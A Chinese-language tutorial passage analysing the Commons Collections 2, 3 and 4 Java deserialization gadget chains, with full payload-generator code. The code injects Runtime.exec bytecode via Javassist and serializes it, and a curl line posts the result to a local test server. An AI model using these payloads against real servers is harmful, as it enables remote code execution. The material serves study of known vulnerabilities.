1 2 3 4 5 6 7 8 9 10 11 12 13 import javassist.*;import java.io.IOException;public class javassistTest { public static void main (String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException { ClassPool cp = ClassPool.getDefault(); CtClass cc = cp.get(javassistTest.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.writeFile(); } }
CtClass cc = cp.get(javassistTest.class.getName());
我们知道每个需要修改编辑的Class都需要有一个CtClass ,所以我们需要为我们需要修改的class创建一个CtClass。此处,我们把javassistTest object放入了ClassPool的hashmap中(表明我们需要修改此类),它会给我们返回一个新的CtClass。
The java.lang.Class.getName() returns the name of the entity (class, interface, array class, primitive type, or void) represented by this Class object, as a String.
所以我们是在hashmap中放入javassistTest object的名字,然后返回了一个新的CtClass。
当我们得到了这个新的CtClass,我们就可以对字节码进行操作了。
CtConstructor, makeClassInitializer (). Makes an empty class initializer (static constructor).
cc.makeClassInitializer().insertBefore(cmd)
创建了一个static代码块,并把cmd插入到了static代码块前面,如下:
1 2 3 static { Runtime.getRuntime().exec("calc" ); }
cc.setName("Leihehe");
设置了字节码中的类名
cc.writeFile();
是将字节码保存到文件中。这时候,我们的字节码编写工作就完成了!
ClassLoader加载字节码 我们平时写代码的文件都是.java格式,经过编译后,会生成.class文件,也就是字节码。 JVM虚拟机想要执行字节码的话,需要使用ClassLoader Class 来将这些文件load进JVM,其中的defineClass()
方法就是来做这件事的。
下面我们手写一个ClassLoader来加载字节码
1 2 3 4 5 6 7 8 public class TestClassLoader extends ClassLoader { public TestClassLoader (ClassLoader parent) { super (parent); } public Class g (String name,byte [] b) { return super .defineClass(name,b,0 ,b.length); } }
接着, 我们在之前的javassistTest
Class里添加以下代码:
1 2 final byte [] classBytes = cc.toBytecode();new TestClassLoader (javassistTest.class.getClassLoader()).g(null ,classBytes).newInstance();
TestClassLoader(javassistTest.class.getClassLoader())
加载了字节码,g()
将bytes[]类型的字节码转换成了一个Class instance,但Class instance中的内容并不会主动执行(static代码区)和初始化,所以我们需要使用newInstance()手动触发。
效果:
TemplateImpl类及其利用链 原理 Javassist将Class加载成字节码,并对其执行方法进行修改(例如:插入恶意代码),接着我们将字节码传入A类的变量中。此处的A类能将该变量中的字节码实例化为对象,从而触发其中的static方法。
在CommonsCollections 2利用链中,TemplateImpl Class 就是我们payload构造的起点。TemplateImpl Class 中能将bytecodes变量用Classloader load并执行:
接下来,我们先来倒着分析一下:我们首先需要找到可以执行漏洞的地方。
defineTransletClasses
通过观察上图defineTransletClasses()
中的内容,我们可以发现此处创建了一个新的TransletClassLoader instance ,并返回到变量loader 。因为最后一行要访问_tfactory.getEcternalEctensionMap()
,所以如果我们需要call这个方法的话,需要设置_tfactory
的值,因其为TransformerFactoryImpl 类型,所以我们new一个就可以了,
defineClass 接着这下面又有一段代码
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
在上图中,loader.defineClass(_bytecodes[i]);
将字节码**_bytecodes传入 loader** - 加载字符码。需要注意的是,我们的字节码的super class必须是AbstractTranslet类。
那么我们要如何才能触发defineTransletClasses -> loader.defineClass呢?
getTransletInstance() 接着我们可以通过getTranslateInstance()
来call到defineTransletClasses()
- 当_class
为空时,defineTransletClasses()
会被执行。而之后 .newInstance()
创建了instance,执行命令。但要想要执行到newInstance()
,我们需要满足_name != null
那么哪里又可以call到**getTransletInstance()**呢?
getOutputProperties() 同样在TransformerImpl 类的getOutputProperties()
方法中发现newTransformer()被call了
完整利用链 因此我们可以总结出,完整的利用链:
TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass()
newTransformer()
也可作为利用链的开端
经过分析,我们只需要给TransletImpl 类给以下的attributes赋值:
_bytecodes(恶意字节码)
_class(null)
_name(任意非空字符串)
_tfactory(new TransformerFactoryImpl())
同时,我们的字节码Class需要继承AbstractTranslet 类
最后call TemplatesImpl.getOutputProperties()
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public class TempTest extends AbstractTranslet implements Serializable { public static void main (String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchFieldException, TransformerConfigurationException { ClassPool classPool = ClassPool.getDefault(); final CtClass ctClass= classPool.get(TempTest.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setName("LeiheheTest" ); final byte [] classBytes = ctClass.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Field _name = temp.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates,"leihehe" ); Field _class = temp.getDeclaredField("_class" ); _class.setAccessible(true ); _class.set(templates,null ); Field _bytecodes = temp.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates,new byte [][]{classBytes}); Field _tfactory = temp.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); templates.newTransformer(); }
结果:
CommonsCollections 2 利用链分析 经过上面的分析,我们已经知道了TemplateImpl类的利用链,只要我们找到能够call到利用链第一条newTransfomer()
的地方,我们就可以找到反序列化点。
TransformingComparator
的compare
方法可以触发transform()方法。
1 2 3 4 5 public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
看到这个transform()想起了什么?我们可以控制transformer
的内容,然后执行InvokerTransformer
的transform()
方法。
在cc1里,我们就分析过InvokerTransformer
,不妨再来回顾一遍,加深记忆。
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } ... }
InvokerTransformer
中就有一个transform()
的方法,如果传入的input
不为空,那么我们就会依次获取input
的Class类、input
的某个method,并call我们获取到的方法。
那么在InvokerTransformer
中,我们将TemplateImpl
类的object
作为input
传进transform()
方法里去就能成功触发了。
总结一下:我们可以通过 TransformingComparator.compare()
执行InvokerTransformer
的transform(我们的TemplateIml object)
,再执行TemplateImpl
的newTransformer()
方法
PriorityQueue 利用链中用到了PriorityQueue
来触发TransformingComparator
.
因为我们传入的序列化对象就是PriorityQueue,所以我们先从readObject()开始分析。
我们可以看到,queue中的元素会被反序列化,然后元素会被处理为二叉树类型 -> **heapify()**。
heapify() 1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
该方法会寻找最后一个非叶子节点,然后使用siftDown方法。 需要注意的是,该处的size必须为2,因为当size为1时,siftDown()
不会被call
shiftDown 1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
该方法判断comparator是否为空,如果不为空,则进入siftDownUsingComparator()
注意x为queue中的元素,如果我们将comparator 设为TransformingComparator ,就可以连上之前的链了 - queue中的元素会作为InvokerTransformer
的input object
!
再次总结一下:
将comparator 设为TransformingComparator
在queue中加入两个元素,其中第一个元素为我们构造的templates
Payload构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections2 { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath ((AbstractTranslet.class))); CtClass cc = classPool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); final byte [] classBytes = cc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_name" ,"leihehe" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); TransformingComparator comparator = new TransformingComparator (transformer); final PriorityQueue<Object> queue = new PriorityQueue <>(2 ,comparator); queue.add(templates); queue.add(new String ("n" )); setFieldValue(transformer,"iMethodName" ,"newTransformer" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream (("test.ser" ))); outputStream.writeObject(queue); outputStream.close(); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
上述代码中,我们将反射方法写在两个method - setFieldValue()
和getField()
中,方便使用。
几个问题
为什么在创建InvokerTransformer
的时候,不直接通过constructor定义iMethodName
为newTransformer
?
刚开始我也没搞明白,后来试了试,发现如果在创建InvokerTransformer
的时候就修改method名字的话,在执行到queue.add(1)
时会报错,如下图
1 final InvokerTransformer transformer = new InvokerTransformer ("newTransformer" , new Class [0 ], new Object [0 ]);
进入**queue.add()**后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public boolean add (E e) { return offer(e); } public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; } private void siftUp (int k, E x) { if (comparator != null ) siftUpUsingComparator(k, x); else siftUpComparable(k, x); } private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; }
为什么要add(new String(“n”))而不是add(1)?
通过跟踪服务端触发过程可以发现, 最先触发的总是队列中的第一个元素,如果第一个元素变成了1而不是templatesIml 的话,我们就无法找到元素1当中的newTransformer 方法,这时候会报错并抛出异常,无法执行到我们的恶意代码;但如果第一个元素是templatesIml 的话,我们就可以执行到newTrasnformer 方法。
同样,如果我们在payload中向queue中添加1而不是一个String类型,添加完毕后,queue会自动排序,将1排序到最前面,导致最后在server反序列化的时候会出错(如上方解释)。
所以我们有两种方式来写这个payload,一种是我之前代码演示的那样。
第二种:也是ysoserial中使用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 queue.add(1 ); queue.add(1 ); setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[])getFieldValue(queue, "queue" );queueArray[0 ] = templates; queueArray[1 ] = 1 ; public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); }
执行成功!
Reference ysoserial CommonsCollections2 详细分析
JAVA双亲委派
Java反序列化-CommonsCollections2分析
Commons Collections 3 环境搭建
commons-collections:3.1
jdk7u21之前
复现演示 依然是使用ysoserial生成,然后curl命令执行,和之前的cc1和cc2一样,此处就不演示了。
Commons Collections 3 利用链分析 TemplatesImpl & javassist 同cc2一样,我们需要用javassist
生成带命令执行的字节码 ,然后用TemplatesImpl
将其加载到JVM。
TrAXFilter 在cc2中,InvokerTransformer的transform方法能够帮我们执行TemplatesImpl
类的newTransformer()
方法,而在cc3中,我们找到了另一个class - TrAXFilter
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
我们发现,TrAXFilter的构造器会直接call到TransformerImpl
的newTransformer()
方法,恰好TemplatesImpl 和TransformerImpl 都是继承Templates 的。如果我们把_templates
设置为我们自己构造的TemplatesImpl instance
,命令就能被执行了。
因为我们的触发点是在new TrAXFilter
的时候,所以我们需要在server反序列化我们的object的时候再执行这段代码,而不是我们自己在本地这样随便new一个就可以了。
那么哪个类能够帮助我们new一个新的TrAXFilter呢?
CommonsCollections 3.1
支持我们继续使用InvokerTransformer
于是我们想到可以用InvokerTransformer
来new一个新的TrAXFilter
,下面我们先用反射的方式来写一下
1 2 3 Class trAXFilterClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" );trAXFilterClass.getConstructor(TemplatesImpl.class).newInstance();
我们尝试把上面的反射代码改写成InvokerTransformer
1 2 3 4 InvokerTransformer i1 = new InvokerTransformer ("getConstructor" ,new Class []{Class[].class},new Object []{new Class []{Templates.class}});Constructor constructor = i1.transform(TrAXFilter.class);InvokerTransformer i2 = new InvokerTransformer ("newInstance" , new Class []{Object[].class},new Object [] {new Object []{templates}});i2.transform(constructor);
在这里我们可以直接构造InvokerTransformer
,并在constructor传入方法参数 - 不像在cc2里,我们需要在PriorityQueue.add()
之后修改 - 因为PriorityQueue.add()
会在add 的时候触发comparator
从而InvokerTransformer
的transform()
方法,但在这里不会出现这种情况。
运行后成功弹出计算器。
除了使用InvokerTransformer
来创建TrAXFilter
instance,我们还可以通过一个新的Class InstantiateTransformer
来完成。
InstantiateTransformer
的transform()
方法中,有一处很明显的创建实例的代码。而它也是属于Transformer
的实现类。使用该类,我们不再需要构造getConstructor这样的函数,因为他已经帮我做了,我们只需要传入input
。
我们现在尝试使用InstantiateTransformer来写一段POC:
1 2 3 InstantiateTransformer initiateTransformer= new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}); initiateTransformer.transform(TrAXFilter.class);
计算器成功弹出!
我们在cc1中使用到了这个方法,它让我们可以将几条transformer串联起来,并用上一个transfomer.transform(intput)
的返回值作为下一个 transfomer.transform(input)
中的input 进行执行。
这里我们再简单的复习一遍
1 2 3 4 5 6 7 8 9 10 11 12 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
但是,我们还差一个开头的transformer。 TrAXFilter.getConstructor.newInstance()
中的TrAXFilter
类,我们需要想办法让他也能用ChainedTransformer
连接起来,而不是手动去用.transform(input)
作为input
传入进去。
方法一:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getConstructor" ,new Class []{Class[].class},new Object []{new Class []{Templates.class}}), new InvokerTransformer ("newInstance" , new Class []{Object[].class},new Object [] {new Object []{templates}}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
方法二:
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
我们最终选择使用我们在cc1中用到的ConstantTransformer
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
通过这个类,我们可以将TrAXFilter
类传进去,作为transformers
的开头,这样我们的链就串上了!
方法一:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new ConstantTransformer (trAXFilterClass),new InvokerTransformer ("getConstructor" ,new Class []{Class[].class},new Object []{new Class []{Templates.class}}),new InvokerTransformer ("newInstance" , new Class []{Object[].class},new Object [] {new Object []{templates}})}; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform("1" );
方法二:
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class),new InstantiateTransformer (new Class []{Templates.class},new Object []{templates})}; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform("1" );
计算器执行成功。
LazyMap ps:CC1的LazyMap及之后的部分也和这个一样。
接下来我们需要寻找触发ChainedTrasnformer.transform()
的方法。在CC1链中,我们用到了LazyMap.get()
,其中invoke了transform()
方法。当我们把factory
赋值为chainedTransformer
就可以触发其transform()
方法了。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
但因为LazyMap
的constructor是protected的,所以我们不能直接构造,我们发现LazyMap的decorate()方法可以返回一个instance:
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
所以我们可以这样写:
1 2 Map map = new HashMap ();LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
那么怎样触发LazyMap.get()方法呢?最好是readObject内部可以用到的。
AnnotationInvocationHandler 我们发现在AnnotationInvocationHandler
中的invoke()
调用了memberValues.get(member)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); assert paramTypes.length == 0 ; if (member.equals("toString" )) return toStringImpl(); if (member.equals("hashCode" )) return hashCodeImpl(); if (member.equals("annotationType" )) return type; Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
如果我们把memberValues的值改为Lazymap对象,那么我们就可以触发漏洞了。
我们可以通过AnnotationInvocationHandler的构造函数来达到这个目的。
1 2 3 4 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { this .type = type; this .memberValues = memberValues; }
但尝试后发现并不能直接创建对象
因为AnnotationInvocationHandler无法直接访问,于是我们使用反射方法
1 2 3 4 String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler" ;final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0 ];constructor.setAccessible(true ); InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
但我们应该如何call到secondInvocationHandler
的invoke()
方法呢?
动态代理 - InvocationHandler & AnnotationInvocationHandler Java反序列化漏洞之静态代理与动态代理(5) 中已经详细讲解过,此处的InvocationHandler
接口其实就是负责提供调用代理操作,在动态代理中,一个代理类必须要实现InvocationHandler
类,从而每当客户调用代理类动态生成的代理instance的方法的时候,都会被转发 至代理类的invoke()
方法。我们得知AnnotationInvocationHandler implements InvocationHandler
,是否意味着,AnnotationInvocationHandler
就可以作为一个代理类呢?
如果我们用AnnotationInvocationHandler
代理类动态生成一个代理A,再去访问代理A的方法,我们就可以自动call到代理类AnnotationInvocationHandlers
中的invoke()
方法了
如果这个代理A是一个HashMap,那么我们只要执行了这个创建的代理HashMap的任意一个function,都能触发命令。
1 2 3 4 5 InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);Map testMap = new HashMap ();Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler);
反序列化点 我们注意到AnnotationInvocationHandler
有它自己的readObject()
,这意味着,如果我们把它作为序列化object传给服务器,服务器在反序列化时会执行其readObject()
方法。
经过分析,我们非常清楚,memberValues
是可控的,可以通过反射构造函数来控制。如果我们将memberValues
设置为我们上一步生成的代理evilMap
,那么意味着,反序列化时我们就可以完成整条攻击链了!
1 2 3 4 5 6 7 8 9 10 11 InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);Map testMap = new HashMap ();Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler);InvocationHandler anotherInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream (("test.ser" )));outputStream.writeObject(anotherInvocationHandler); outputStream.close();
用web环境实验一下:curl http://localhost:9090/webTest1_Web_exploded/test --data-binary @test.ser
计算器成功弹出
Payload构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonsCollections3 { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath ((AbstractTranslet.class))); CtClass cc = classPool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); final byte [] classBytes = cc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_name" ,"leihehe" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Class trAXFilterClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ); Transformer[] transformers = new Transformer []{ new ConstantTransformer (trAXFilterClass), new InvokerTransformer ("getConstructor" ,new Class []{Class[].class},new Object []{new Class []{Templates.class}}), new InvokerTransformer ("newInstance" , new Class []{Object[].class},new Object [] {new Object []{templates}}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler" ; final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); Map testMap = new HashMap (); Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler); InvocationHandler anotherInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream (("test.ser" ))); outputStream.writeObject(anotherInvocationHandler); outputStream.close(); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonsCollections3Method2 { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath ((AbstractTranslet.class))); CtClass cc = classPool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); final byte [] classBytes = cc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_name" ,"leihehe" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler" ; final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); Map testMap = new HashMap (); Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler); InvocationHandler anotherInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream (("test.ser" ))); outputStream.writeObject(anotherInvocationHandler); outputStream.close(); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
总结 综合了cc1和cc2,利用了之前学过的动态代理。
Reference Ysoserial CommonsCollections1 详细分析
ysoserial CommonsCollections3/4 详细分析
Java反序列化利用链补全计划
Commons Collections 4 环境搭建
commons-collections4:4.0
jdk7u21之前
利用链构造 在commons-collections4:4.0
中,InvokerTransfomer()
不能再用了,所以我们用到了
cc2的前部分: PriorityQueue -> TransformingComparator
cc3的后部分:InstanitateTransformer->TrAXFilter -> TemplatesImpl
payload构造 方法一 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections4 { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath ((AbstractTranslet.class))); CtClass cc = classPool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); final byte 